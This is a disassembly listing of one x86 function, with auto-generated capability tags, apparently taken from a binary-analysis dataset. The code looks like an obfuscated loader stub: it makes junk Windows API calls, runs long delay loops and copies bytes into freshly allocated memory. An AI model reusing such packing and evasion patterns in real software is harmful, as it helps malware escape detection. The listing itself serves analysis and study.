Function at 0x46ef10
Capabilities:
Get disk information
Get file size
Get geographical location
Manipulate console buffer
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1c64
call fcn.004070e0
mov eax, dword [0x472008]
xor eax, esp
mov dword [esp + 0x1c60], eax
mov edx, dword [0x4730a0]
mov ecx, dword [0x85951c]
push ebx
push esi
push edi
xor ebx, ebx
xor eax, eax
mov edi, 0xec58ae96
or esi, 0xffffffff
lea esp, [esp]
cmp eax, 0x4db
jne 0x46ef5d
lea ecx, [edx + 0x9e49]
cmp ecx, 0xbcf
jne 0x46ef71
mov dword [0x473b90], edi
mov dword [0x473b94], esi
inc eax
cmp eax, 0x1180b56
jl 0x46ef50
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [0x85951c], ecx
xor esi, esi
cmp esi, 0x55b763
jne 0x46ef99
mov eax, dword [0x472c48]
mov dword [0x85964c], eax
cmp ecx, 0x3c
jne 0x46efa8
push ebx
push ebx
call edi
mov ecx, dword [0x85951c]
inc esi
cmp esi, 0x4cd9711a
jl 0x46ef87
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea esp, [esp]
call edi
cmp esi, 0x16ea61
jg 0x46efd3
inc esi
cmp esi, 0x9438ed
jl 0x46efc0
mov eax, dword [0x85951c]
cmp eax, 0x2a
jne 0x46f098
lea ecx, [esp + 0x10]
push ecx
push ebx
push ebx
push ebx
push ebx
mov dword [0x859510], ebx
mov dword [0x859514], ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
xor eax, eax
push ebx
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov word [esp + 0x32], ax
lea eax, [esp + 0x6c]
push eax
push str.tufayosixorefubo
lea ecx, [esp + 0x2c]
push ecx
push ebx
xor edx, edx
push ebx
mov word [esp + 0x38], dx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
push ebx
lea edx, [esp + 0x46c]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push ebx
push ebx
call fcn.0040109d
push ebx
push ebx
call fcn.0040120c
push ebx
call fcn.0040112c
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040109d
add esp, 0x20
push ebx
call fcn.004016c7
cmp eax, 0x7c
jne 0x46f194
push ebx
push ebx
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
lea ecx, [esp + 0xc6c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push ebx
lea edx, [esp + 0x1c]
push edx
push ebx
lea eax, [esp + 0x74]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0x2e
lea ecx, [esp + 0x3c]
push ebx
push ecx
mov dword [esp + 0x40], ebx
call fcn.00404e80
add esp, 0xc
push ebx
lea edx, [esp + 0x38]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push ebx
push ebx
lea eax, [esp + 0x1470]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor eax, eax
xor edx, edx
mov word [esp + 0xe], ax
xor ecx, ecx
mov word [esp + 0x12], dx
lea eax, [esp + 0x20]
push eax
mov word [esp + 0x14], cx
mov ecx, dword [esp + 0x14]
push ecx
mov word [esp + 0x14], dx
mov edx, dword [esp + 0x14]
push edx
lea eax, [esp + 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
push ebx
lea ecx, [esp + 0x46c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [0x85951c], 0x2d
jne 0x46f186
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push ebx
call fcn.004011f6
mov eax, dword [0x85951c]
add esp, 4
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x85951c]
mov esi, eax
xor ecx, ecx
mov dword [0x859364], esi
cmp edx, ebx
jbe 0x46f1de
mov edi, dword [0x85964c]
mov eax, 0x17bc
jmp 0x46f1c0
mov bl, byte [edi + ecx + 0x9e49]
mov byte [esi + ecx], bl
cmp edx, 0x8d
jne 0x46f1d7
mov dword [0x859368], eax
inc ecx
cmp ecx, edx
jb 0x46f1c0
xor ebx, ebx
call fcn.0046ec70
call fcn.0046eb30
call fcn.0046ee80
mov edi, dword [sym.imp.KERNEL32.dll_QueryMemoryResourceNotification]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileSize]
xor esi, esi
jmp 0x46f200
cmp dword [0x85951c], 0x41
jne 0x46f218
lea edx, [esp + 0x14]
push edx
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0xd589b
jne 0x46f225
call fcn.0046eb20
cmp dword [0x85951c], 0xc
jne 0x46f241
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
inc esi
cmp esi, 0x24d8dd
jl 0x46f200
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, 0x1dfefd
mov edi, 0x8e4e015c
lea ebx, [ebx]
cmp dword [0x85951c], 0x7c4
mov dword [0x85936c], edi
jne 0x46f28f
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x14]
push eax
mov word [esp + 0x10], cx
mov word [esp + 0x12], dx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push edx
push edx
call esi
sub ebx, 1
jne 0x46f260
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
lea edx, [esp + 0x34]
push edx
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0x408e
jle 0x46f2c3
cmp dword [esp + 0x3c], 0xf5bed7
jne 0x46f2cc
inc esi
cmp esi, 0x687ed2
jl 0x46f2a2
mov ecx, dword [esp + 0x1c6c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret